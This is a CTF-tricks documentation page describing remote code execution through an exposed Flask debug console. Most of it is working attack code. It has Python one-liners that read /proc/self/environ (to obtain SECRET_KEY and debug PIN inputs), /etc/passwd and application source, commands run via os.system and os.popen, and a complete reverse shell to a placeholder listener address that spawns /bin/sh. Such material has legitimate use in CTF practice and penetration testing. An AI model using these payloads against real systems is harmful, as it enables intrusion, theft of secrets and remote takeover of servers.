> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/rce/trick-0141.md).

# Python RCE via Flask Debug Console

***

Find an error page when Flask debug mode is enabled. This page will typically show a traceback and an option to open a debug console.

Click the console icon. You will be prompted for the debug PIN. Enter the previously obtained PIN.

Once authenticated, you gain access to an interactive Python console running within the application's context. Execute arbitrary Python code, including importing modules like `os` or `subprocess` for RCE.

From the console, you have access to the application's environment and file system. This allows for reading sensitive files or application source code. For instance, reading the `/proc/self/environ` file can reveal crucial environment variables like `SECRET_KEY`, `SERVER_NAME`, and the application's instance path, which are often used in calculating the debug PIN.

To read a file like `/proc/self/environ`, you can use the `open` function:

```python
f = open("/proc/self/environ", "r")
print(f.read())
f.close()
```

Alternatively, a more concise way to read a file is:

```python
open('/proc/self/environ').read()
```

Similarly, you can read application source files to understand the code or find sensitive information:

```python
f = open("__init__.py", "r")
print(f.read())
f.close()
```

Using the concise method for source files:

```python
open('__init__.py').read()
```

You can also read system files like `/etc/passwd`:

```python
open('/etc/passwd').read()
```

Typical commands for RCE involve importing the `os` module. To execute a command like `whoami`:

```python
__import__('os').system('whoami')
```

To execute a command and retrieve its output, you can use `os.popen`:

```python
__import__('os').popen('id').read()
```

You can execute various system commands this way:

```python
import os; os.system('ls -la')
```

To attempt a reverse shell (assuming `your_ip` and `1234` are your listener details):

```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("your_ip",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
```
